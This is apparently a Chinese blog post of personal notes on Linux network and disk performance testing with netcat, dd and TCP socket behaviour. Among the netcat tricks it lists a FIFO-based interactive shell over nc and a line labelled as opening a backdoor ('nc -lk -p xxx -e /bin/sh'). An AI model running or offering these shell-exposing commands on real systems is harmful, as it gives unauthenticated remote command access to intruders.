linux网络、存储性能测试

network shell

cat /tmp/f | /usr/bin/zsh -i 2>&1 | nc -vl 127.0.0.1 8081 > /tmp/f

端口探测
nc -vz -w1 192.168.50.10 3322
nc -vz -w1 192.168.50.10 3300-3333

双向转发 - 交叉配对
mkfifo nc_pipe
nc -l -p 1234 < nc_pipe | nc 127.0.0.1 5678 > nc_pipe

传输文件
nc -l -p xxx > file2
nc x.x.x.x xxx < file1

可以和tar配合来搞定目录
nc -vl 8080 | tar -xzvf -
tar -czvf - snic_dpdk | nc 172.29.47.131 8080 -v

开启后门
nc -lk -p xxx -e /bin/sh

ref
https://program-think.blogspot.com/2019/09/Netcat-Tricks.html?m=1

chenshuo network

performance test

construct random file
dd if=/dev/urandom of=data.bin bs=1M count=1024

local host test

硬件配置atom: 2个核

测本地性能

主要为了看看 内核网络协议栈的开销大不大
2个进程,2个核
time nc -N localhost 5001 < xxx.img
nc -l 5001 > /dev/null

4个进程,2个核
213MB
dd if=/dev/zero bs=1MB count=10000 | nc localhost 5001
nc -l 5001 | pv -W > /dev/null

网络连接性能

nc xxx 5001 < data.bin
nc -l 5001 > /dev/null

disk io

disk read - 450MB on 206

dd if=/dev/sda of=/dev/null bs=1M count=1000 iflag=direct

disk write - 450MB on 206

dd if=/dev/zero of=data.bin bs=1M count=1000 oflag=direct

on soc
136MB

206 的测试过程

磁盘IO
协议栈开销
内存带宽

disk read - 450MB on 206

dd if=/dev/sda of=/dev/null bs=1M count=1000 iflag=direct

disk write - 450MB on 206

dd if=/dev/zero of=data.bin bs=1M count=1000 oflag=direct

本地网络性能

768MB 1.4s
dd if=/dev/zero bs=1M count=1000 | nc localhost 5001

1.1s
time nc localhost 5001 < data.bin

内存带宽

1.7GB
dd if=/dev/zero of=/dev/shm/A bs=2M count=1024

网络和io可能重叠,然后串行 比如 ssh + networkIO

sysctl -A | grep “tcp.*mem”

阻塞会导致死锁 收发包队列是有限的。应对方式:TCP也要消息分包,然后要先本地存储,不要收完马上发。因为对端还在发,你发过去不接受,会堆积在收包缓冲队列。

优雅关闭TCP

read buffer 不为空时,close会触发rst

SIGPIPE

一个连接被rst后,继续socket write 会触发SIGPIPE信号.默认行为是杀死进程.

signal(SIGPIPE, SIG_IGN);

TCP_NODELAY

NAGLE算法和tcp delay ack导致大延时 => 小数据包的 write-write-read 过程

发送首包小数据packet, 后续包就要等待这个首包ack后才能发送,也就是1个延时RTT

建议默认关闭nagle

sudo tcpdump -i eth0 -n tcp port 5001

SO_REUSEADDR

适用服务器异常挂死后,重启,监听端口就不会提示 端口正在使用中。
使得 可以 重复监听一个端口,这样就可以fork进程来监听

thread per connection 节约了一个系统调用epoll_wait,等待描述符就绪

read间隙 会不会 丢掉buffer

阻塞也是一个速率匹配的过程,消费者没消费,生产者也会停滞的。

读写共用一个线程。

阻塞容易影响其他方向的IO

noblocking write 不会阻塞read了

block io can cause dead lock

性能测试

ab -k -n 100000 http://localhost:5001/

页表

还是要细致看看书

视频不好回溯,看完视频 就忘,还不好回溯。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值